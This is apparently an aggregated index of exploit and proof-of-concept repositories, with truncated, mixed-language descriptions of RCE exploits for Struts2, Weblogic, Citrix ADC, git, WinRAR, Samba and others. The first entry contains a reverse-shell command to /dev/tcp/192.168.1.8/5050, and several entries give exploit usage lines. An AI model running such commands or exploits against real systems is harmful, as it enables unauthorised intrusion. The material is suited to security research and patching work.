cve-2023-3824

sudo docker run -it --rm -p 8080:80 php:8.0.29-apache bash echo "phar.readonly = Off" /usr/local/etc/php/php.ini http://localhost:8080/shell.php?cmd=bash -c 'bash -i %26 /dev/tcp/192.168.1.8/5050 0%261' php -r "$phar = new Phar'exploit.phar'; $phar-extractTo'./', 'shell.php';" exploit.zip passwor...

CVE-2023-38890

CVE-2023-38890 – WriteUp sull'esecuzione di codice remoto in Online Shopping Portal 3.1 CVE-2023-38890 – ExploitDB 50029...

CVE-2025-48384

CVE-2025-48384: Rompere git con un ritorno a capo e RCE tramite clonazione Riproduzione tratta da https://dgl.cx/2025/07/git-clone-submodule-cve-2025-48384. Tutti i crediti a David Leadbeater. Questo è un tentativo di riproduzione di base della vulnerabilità. Per attivarla, esegui git clone...

CVE-2020-0796

CVE-2020-0796 SMBGhost da ollypwn Scanner semplice per CVE-2020-0796 - SMBv3 RCE. Lo scanner è pensato solo per verificare se un server è vulnerabile. Non è destinato alla ricerca o allo sviluppo, da qui il payload fisso. Controlla il dialetto SMB 3.1.1 e la capacità di compressione tramite una...

CVE-2025-5840

CVE-2025-5840 Exploit CVE-2025-5840 em Python por hax / haxerr9 Como Usar: Certifique-se de que o Python3 está instalado no sistema. Execute "python3 CVE-2025-5840.py URL -c COMMAND". Não se esqueça de fornecer os parâmetros antes de executar o script. Exemplo de Uso: NÃO TESTADO Este exploit não...

CVE-2024-50379-POC

CVE-2024-50379 Exploitation und POC Dieses Repository enthält einen Proof of Concept POC für CVE-2024-50379 , eine Sicherheitslücke, die Apache Tomcat betrifft. Das Problem beinhaltet eine Time-of-Check-Time-of-Use TOCTOU Race-Condition , die zu Remote Code Execution RCE führen kann, insbesondere...

Exploit-CVE-2025-68613

Exploit-CVE-2025-68613 Security Advisory: Vulnerabilità critica di esecuzione remota di codice in n8n CVE-2025-68613 È stata identificata una vulnerabilità critica nello strumento di automazione dei flussi di lavoro n8n che consente l'esecuzione arbitraria di codice. Gli utenti autenticati con...

CVE-2022-1565

WordPress Plugin WP All Import = 3.6.7 - Remote Code Execution RCE Authentifiziert root@kitploit: Datum: 05. November 2023 Exploit-Autor: Việt HÙng https://github.com/phanthibichtram12 Anbieter-Website: https://www.wpallimport.com/ Software-Link:...

cve-2016-1555

Descrizione Il modulo sfrutta una vulnerabilità di esecuzione arbitraria di comandi non autenticata in Netgear WN604 precedente alla 3.3.3 e in WN802Tv2, WNAP210v2, WNAP320, WNDAP350, WNDAP360 e WNDAP660 precedente alla 3.5.5.0. La vulnerabilità si verifica nel modo in cui il router gestisce le...

CVE-2020-17530

CVE-2020-17530 Struts2 S2-061 Vulnerabilità di esecuzione remota di comandi CVE-2020-17530 Istruzioni per l'uso: root@kitploit: python CVE-2020-17530.py -u url python CVE-2020-17530.py -f file.txt python CVE-2020-17530.py -f file.txt -o outfile.txt python CVE-2020-17530.py -f file.txt -p...

CVE-2021-40444-docx-Generate

مولّد docx لـ CVE-2021-40444 إنشاء ملف .docx لاستغلال CVE-2021-40444 تنفيذ التعليمات البرمجية عن بُعد في Microsoft Office Word 1. إنشاء ملف docx فارغ. 2. إضافة كائن "صورة نقطية" في قائمة "إدراج/كائن". إضافة كائن...

Weblogic_Unauthorized-bypass-RCE

CVE-2020–14882 Weblogic अनधिकृत बाईपास RCE CVE-2020-14882 Oracle Weblogic अनधिकृत बाईपास RCE परीक्षण स्क्रिप्ट यह Python3 पर काम करती है। अनुरोध root@kitploit: POST /console/images/%252E%252E%252Fconsole.portal HTTP/1.1 Host: User-Agent: Mozilla/5.0 Windows NT 10.0; Win64; x64 AppleWebKit/537.36...

CVE-2018-11235

CVE-2018-11235 Creazione automatica di repository Git dannosi per sfruttare CVE-2018-11235, un'esecuzione di codice remota tramite i sottomoduli Git. Post del blog: https://devblogs.microsoft.com/devops/announcing-the-may-2018-git-security-vulnerability/...

CVE-2023-3519

Citrix ADC RCE CVE-2023-3519 Dieser Exploit verwendet Adressen und Shellcode für Citrix VPX 13.1-48.47. Für den vollständigen Bericht klicken Sie hier. Verwendung NASM ist erforderlich, um den Shellcode zu erstellen. root@kitploit: $ sudo apt install nasm Der enthaltene Shellcode lädt ein...

CVE-2017-1000117

CVE-2017-1000117 Agentes mal-intencionados podem criar engenhosamente um link "ssh://..." e fazer com que a vítima acesse esse link malicioso, por exemplo, ao executar um programa, alcançando assim a execução de comandos. Esse link pode ser colocado no arquivo .gitmodules de um projeto Git, de mo...

cve-2024-32002-poc-rce

CVE-2024-32002 RCE POC Ein POC für CVE-2024-32002, der Remote Code Execution RCE demonstriert. Siehe cve-2024-32002-poc-rce für das zugehörige Submodul-Repository. Was dieses Repository enthält Ein Symlink mit einem beliebigen Namen, der auf das .git-Verzeichnis verweist. Eine .gitmodules-Datei,...

mpDNS

mpDNS alias server DNS multiuso Semplice server DNS configurabile con molte funzionalità utili Python 3 names.db - contiene tutti i record personalizzati vedi esempi Wildcard semplici come .example.com Cattura richieste DNS unicode Azioni personalizzate dette macro: shellexec::dig google.com +sho...

CVE-2022-29464

CVE-2022-29464 Ein vorauthentifizierter beliebiger Datei-Upload, der in WSO2 zu Remote Code Execution RCE führt Zusammenfassung der CVE CVE-2022-29464 ist eine von Orange Tsai entdeckte RCE-Schwachstelle für WSO2. Ein nicht authentifizierter beliebiger Datei-Upload erlaubt es einem Angreifer, Cod...

CVE-2007-2447-Exploit

Exploit para CVE-2007-2447 Este repositório contém um exploit para Samba smbd 3.0.20 CVE-2007-2447 que permite execução remota de comandos por meio de solicitações SMB maliciosas. Pré-requisitos Este exploit requer Python 3 e algumas dependências. Recomenda-se configurar um ambiente virtual antes...

CVE-2025-6218

CVE-2025-6218 | ZDI-CAN-27198 | ZDI-25-409 - WinRAR Path Traversal - Remote Code Execution RCE Prova di concetto Maggiori informazioni: https://www.win-rar.com/singlenewsview.html?&L=0 https://www.cvedetails.com/cve/CVE-2025-6218/ https://www.zerodayinitiative.com/advisories/ZDI-25-409/...